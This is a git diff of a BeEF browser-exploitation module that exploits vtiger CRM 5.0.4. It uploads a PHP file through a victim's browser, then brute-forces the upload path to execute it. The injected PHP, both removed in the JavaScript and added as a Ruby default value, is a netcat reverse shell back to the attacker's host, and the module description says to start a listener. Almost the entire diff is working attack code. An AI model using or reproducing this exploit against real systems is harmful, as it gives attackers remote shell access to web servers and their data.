diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js
index 8b607769f..9a1c62f3b 100644
--- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js
+++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js
@@ -11,6 +11,8 @@ beef.execute(function() {
// xntrik
if (document.getElementById('vtigerimg')) {
+ //document.body.removeChild(document.getElementById('vtigerimg'));
+ //beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');
return "Exploit running already";
}
@@ -19,16 +21,13 @@ beef.execute(function() {
img.setAttribute("width","0");
img.setAttribute("height","0");
img.id = 'vtigerimg';
-
+
document.body.appendChild(img);
baseurl = "<%= @vtiger_url %>";
function do_upload(){
- // start AJAX file upload in 1 second
- //window.setTimeout("ajax_upload()", <%= @timeout %>);
- //alert("one");
- setTimeout(function() {ajax_upload()}, <%= @timeout %>);
+ setTimeout(function() {ajax_upload()}, 1000);
}
// In a nutshell:
@@ -39,15 +38,9 @@ beef.execute(function() {
// 4) once requestdone, call do_callfile()
function ajax_upload(){
- //alert("two");
- // Setup the AJAX POST
var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index';
- //var binary;
- //var filename;
- //var mytext;
http_request = false;
- //http_request = new XMLHttpRequest();
http_request = beef.net.get_ajax();
if (!http_request) {
// fail silently!
@@ -88,7 +81,7 @@ beef.execute(function() {
+ 'Content-Type: application/x-httpd-php' + '\r\n'
+ '\r\n'
+ '<\?php' + '\r\n'
- + 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\r\n'
+ + '<%= @vtiger_php %>' + '\r\n'
+ '\?>' + '\r\n'
+ '\r\n'
+ boundary
@@ -109,48 +102,56 @@ beef.execute(function() {
+ 'Attach' + '\r\n'
+ boundary;
+ var uploadstate = 0;
+
http_request.onreadystatechange = function() {
if (http_request.readyState == 4) {
- //window.console.log("ready state go for upload: "+http_request.status);
if (http_request.status == 200) {
- //window.console.log("Upload worked");
- result = http_request.responseText;
- do_callfile();
+ uploadstate = 3;
} else {
- //fail silently
+ uploadstate = 2;
}
+ } else {
+ uploadstate = 1;
}
return;
- }
+ };
http_request.open("POST", targeturl, true);
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED");
http_request.setRequestHeader("Content-length", requestbody.length);
http_request.send(requestbody);
- //beef.net.raw_request(targeturl,'POST',requestdonenew(),requestbody);
+ setTimeout(function() {
+ if (uploadstate == 0) {
+ //something went way wrong
+ document.body.removeChild(document.getElementById('vtigerimg'));
+ beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');
+ } else if (uploadstate == 1) {
+ //we never got a response from the server
+ document.body.removeChild(document.getElementById('vtigerimg'));
+ beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');
+ } else if (uploadstate == 2) {
+ //we got a response that was NOT a 200
+ document.body.removeChild(document.getElementById('vtigerimg'));
+ beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');
+ } else if (uploadstate == 3) {
+ //We got a 200, so hopefully the file was uploaded
+ //be_graceful();
+ do_callfile(0,1000);
+ }
+ },<%= @upload_timeout %>);
+
return;
}
- function requestfile() {
- if (http_request.readyState == 4) {
- if (http_request.status == 200) {
- result = http_request.responseText;
- alert(result);
- } else {
- // fail silently
-
- }
+ function do_callfile(start,count){
+ if (document.getElementById('vtigerimg') == null) {
+ return false;
}
- return;
- }
- // find our file :)
- //
- // Dirty brute force
- function do_callfile(){
- var i=0;
- for (i=0;i<=1000;i++)
+
+ for (i=start;i<=start+count;i++)
{
- http_request = false;
+ var http_request = false;
http_request = beef.net.get_ajax();
if (!http_request) {
// fail silently!
@@ -160,20 +161,16 @@ beef.execute(function() {
var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP";
var requestbody = "birds of a feather flock together";
- http_request.onreadystatechange = requestfile;
- http_request.open('POST', findurl, true);
+ http_request.open('POST', findurl, false);
http_request.setRequestHeader("Content-length", requestbody.length);
http_request.send(requestbody);
+ if (http_request.status == 200) {
+ document.body.removeChild(document.getElementById('vtigerimg'));
+ beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');
+ return;
+ }
}
- //At this point we can remove the img tag, in the command is going anywhere else now - xntrik
- document.body.removeChild(vtigerimg);
- return;
- }
-
- // Add your clean up routine here.
- function do_cleanup() {
- //document.write("Maybe your security team should check out owasp.org? ;)");
return;
}
@@ -186,10 +183,4 @@ beef.execute(function() {
// Run the sploit
do_main();
- //do_cleanup();
-
- //The JS is loaded, send the sendback to the framework so it shouldn't run any anymore
- // The img id "vtigerimg" is used to also ensure that framework isn't executed multiple times
- // xntrik
- beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Payload Delivered');
});
diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb
index 165554454..2304ffc66 100644
--- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb
+++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb
@@ -5,18 +5,29 @@ module Commands
class Vtiger_crm_upload_exploit < BeEF::Command
def initialize
+ time = Time.new
+ weekno = case time.day
+ when 1..7 then 1
+ when 8..14 then 2
+ when 15..21 then 3
+ when 22..28 then 4
+ else 5
+ end
+
+ @configuration = BeEF::Configuration.instance
+ beef_host = @configuration.get("http_public") || @configuration.get("http_host")
+
super({
'Name' => 'VTiger CRM Upload Exploit',
- 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
Don\'t forget to start a listener on your PC, for example: nc -l 8888',
+ 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888',
'Category' => 'Network',
'Author' => ['wade', 'bm', 'pipes', 'xntrik'],
'Data' =>
[
- ['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'1000'],
- ['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://192.168.1.105:81'],
- ['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/2010/11/week3/'],
- ['name'=>'vtiger_host','ui_label'=>'Reverse Bindshell Host','value'=>'localhost'],
- ['name'=>'vtiger_port','ui_label'=>'Reverse Bindshell Port','value'=>'8888']
+ ['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'],
+ ['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'],
+ ['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'],
+ ['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000']
],
'File' => __FILE__,
'Target' => {